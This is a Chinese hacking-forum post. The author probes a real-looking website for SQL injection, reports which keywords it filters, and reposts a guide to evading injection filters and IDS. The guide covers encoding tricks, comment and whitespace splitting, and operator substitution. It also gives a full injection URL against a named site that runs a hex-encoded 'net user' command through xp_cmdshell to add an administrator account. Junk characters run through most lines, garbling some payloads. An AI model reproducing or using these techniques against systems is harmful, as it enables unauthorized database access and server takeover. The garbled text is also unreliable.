路过这个网站,检测了一下.
) G/ O+ V% _( z8 h2 yhttp://www.xxx.cn/Article.asp?ID=117 and 1=1
* U& c6 }- i& I2 ]' n. q直接返回主页
1 W/ h/ I( u# q( mhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
4 ]& ?0 T: _+ K0 D: a5 s+ S) j" |: j直接返回主页
8 H9 K: G+ o O+ r3 f, Q; D2 ehttp://www.xxx.cn/Article.asp?ID=117 or( ?4 v. d/ r6 l) n# P6 k
没有返回主页 没有过滤or
, q/ g+ d* `' z( p7 Yhttp://www.xxx.cn/Article.asp?ID=117 and
" v+ F' U1 [/ X# ]5 _: G直接返回主页 看来过滤了and
9 _/ p" l* J& x' C) rhttp://www.xxx.cn/Article.asp?ID=117 or 14 ^ ]. a- y9 N. i5 e
没有返回主页 即没有过滤or 也没有过滤15 `4 s- R1 z" [5 }9 F) D. C2 {7 @
http://www.xxx.cn/Article.asp?ID=117 or 1=1
& b; Q* x, p( Z% j0 Z直接返回主页 很明显过滤了等号
. [( H/ e0 H/ T' U for的特性是与and相反的.
8 R8 b- d8 x; s; o4 [5 _1 por 1=1 爆错 或与原页面不同/ f6 G9 q9 v1 I7 `1 u7 V
or 1=2 原页面相同3 ?2 v! L3 X1 o6 h: a
这样就是一个注入点) Z, b' [- u! L1 e& S. n# R8 j
但他过滤了=号 我就用><号代替=号吧!
; I% ?" K) J! z: n, for 1<2 很明显是正确的,所以应该与原页面不同+ @& ]. y: B8 [6 o% d' M x
or 1>2 很明显是错误的,所以应该与原页面相同. F& W" [$ E# k9 s* S6 j* [
然后看看有没有过滤其他的查询语句,比如select.
* }: I3 F0 D% ~! khttp://www.xxx.cn/Article.asp?ID=117 select" ~. n4 `& f5 z c6 i! T
直接返回主页; M/ s+ S: Q% o- |1 Y; |
又迷茫了... S9 G7 |* W5 x( S# o) J) O% D! j
- `, Y( i+ S" f1 [
) H% w/ h% M9 b, p! A* I! w4 Y4 Jcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗) }9 F7 c" K( U! g. u5 A4 ?( F
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧), F: W+ d0 i( C' ^. }6 H
================================================
( v( u) ~9 c. {/ r+ ?; D4 g" Y, c以下是转贴:7 {- d0 A2 s$ R/ @9 C2 v
0 S& l; z( q/ V, _
突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
# O* {6 z6 o# w1 O: |" R+ A经过我的收集,大部分的防注入程序都过滤了以下关键字:
- j4 x4 @2 F! g4 m, Uand | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
) e/ o* a! M# u0 Q6 D而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 % Q3 F8 Y9 c; ~5 I% {
对于关键字的过滤,以下是我收集的以及我个人的一些想法。 % p& t$ T7 ^9 `: o
1、运用编码技术绕过 - S$ C z0 p; B8 C) L% c" `
如URLEncode编码,ASCII编码绕过。例如or 1=1即
2 M" ^& D8 v$ x8 X6 d%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 8 k6 W4 @2 P$ s9 m! f2 O
# N- g8 s+ y( d. p$ A2、通过空格绕过 ) Z. y3 h$ ?- M2 c0 C! c2 K* u- j
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
+ W4 H- S% M, W n0 n' e, N7 Cor’ swords’ =‘swords’
% P; Y3 P# h' T4 s5 g,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
! ]+ v1 U1 ]+ W3、运用字符串判断代替 O# v9 c# Y% y3 \3 P" O6 d) N# f
用经典的or 1=1判断绕过,如 $ W: ~0 P+ a3 o1 V. j
or ’swords’ =’swords’
0 ]2 S. d$ T- f2 H7 a,这个方法就是网上在讨论的。 $ g1 H- |" M: c& W
4、通过类型转换修饰符N绕过 - \" {! P c. J, V5 \3 R
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
. ]! R! h; N! j, Z+ }2 R& @# ?5、通过+号拆解字符串绕过
7 c3 n4 P( E8 Y6 W/ O1 t8 W+ t1 A效果值得考证,但毕竟是一种方法。如
" p& E: C% l: I( [- I" |1 Por ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) " {; J' \; w; [& n1 }5 w) y1 ^
# \/ O6 E9 d3 p6、通过LIKE绕过 ' u7 d g: t, J" F; \
以前怎么就没想到呢?如or
) \& E! J* U9 r4 r, A/ R’swords’ LIKE ’sw’ & C1 S$ {( b1 u1 P. c
!!!显然可以很轻松的绕过
/ M* S, K+ i- N% K/ }8 G“=”“>” " t$ l' ^9 S2 ?& N5 ~
的限制……
6 _! B/ [6 C+ A1 {9 C2 R7、通过IN绕过
# o' z7 U4 K& S与上面的LIKE的思路差不多,如
4 A, c N5 Z9 Q) Y. v8 g' d/ sor ’swords’ IN (’swords’)
0 k" m8 G8 A$ r4 q# I
/ r' q- Y; Z1 d8 F! T% y. Z) O8、通过BETWEEN绕过 " A {9 v: h+ B* C. i" S4 z
如 4 X- \/ N4 ^+ }& W2 T
or ’swords’ BETWEEN ’rw’ AND ’tw’
& n$ a; D* Z8 N# F, k% }4 g7 _6 o% k7 x
9、通过>或者<绕过
, ]* k$ f- m) L6 Jor ’swords’ > ’sw’
. _- H2 x3 s" V/ D P' n& @or ’swords’ < ’tw’
! k, l- w% d) Q3 Jor 1<3 ! O B/ z) i! c( S; i
…… 2 q$ I7 ]% t( k: j) f* o
10、运用注释语句绕过 $ B6 [' o) i$ p/ \: I
用/**/代替空格,如:
* g, o2 }& b* S. Y, q, G VUNION /**/ Select /**/user,pwd,from tbluser - W1 H4 E) J% S6 }/ k6 c& d
. ]- z8 ^' [( T用/**/分割敏感词,如:
- h4 C; c+ v2 X3 {. T4 BU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
# {5 _8 d" |! A& q) L/ R# V
/ L& @& @5 D/ Y+ M3 f11、用HEX绕过,一般的IDS都无法检测出来
% w9 s' m. x3 Y. G( _" N5 K0x730079007300610064006D0069006E00 =hex(sysadmin)
4 ~7 G* `3 ^# c, I+ E# R0x640062005F006F0077006E0065007200 =hex(db_owner) 9 |8 I, ?( x+ r9 k) O+ ?- Q7 g- O
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
" \4 i+ K+ _; S. s4 M5 O declare @a sysname
3 Y- x0 [; ?. M9 S* f select @a=
$ {0 |! Y( B; t exec master.dbo.xp_cmdshell @a 8 a$ w2 x6 c8 F1 Y4 d
效果
4 L6 t$ c5 d8 W* E: ^4 Phttp://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
: ~9 D2 d0 r% p9 k% G* `: d
6 W( X: `4 W6 n; n其中的
1 d* w3 C+ @( [' Z4 z3 A0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
' w& s! l$ K6 d5 N& z- [ G就是
) c& `( @2 ]6 F“net user angel pass /add”/ r8 b$ Y$ F0 S2 g; K
0 ^1 m; w6 R( k( F8 o
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。0 ~" q" W7 r7 ^+ W
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。7 u0 a- |) c) G1 G4 U ^8 k8 X% N/ M
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似3 w" b C- o1 ^7 G6 M+ j
Copy code* O: o5 c! h0 U7 t" L! M
select * from table exec xp_cmdshell'xxxxxxxxxx'
M2 C' y7 A! W9 O7 `0 i' X: `. f" k
# ~ t9 s E2 U6 I) _( cselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
) @% k% O! G1 i- X. l6 n/ o+ ~! z+ z* h! h, g# u
) C% Z) k6 O: F; [" p" Oselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'% e& C! t' ~$ {7 b
. u$ L. K5 h9 \
$ a3 I% |& w: b+ ]- i+ G) {+ o) Dselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'
/ R$ ?* q4 m/ N1 {1 o" T# G; O5 o! u. X' L& w, e" I, v
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
& A5 G N+ d: f
) ~6 x4 f/ g# `' Z& t8 ^这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
% G0 C" i) w- I2 f) a( m3 W# N# ^可能大家早就知道了,不管怎么说,发在这里吧!' j/ U! l8 W; P
! X& N- A) k1 G6 ^* W) X
最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。, L. Z; l% m1 z9 l
3 h: q* n, g) Y* X# q' B
- b3 h1 @5 W" \- `6 a
. w0 u+ d6 B+ D' Q对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
0 ^, f9 E+ w% v5 f4 N) L* p& C; H比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧?
( V* o* M$ V2 O X y, Y- @* P- o; U4 d# T
|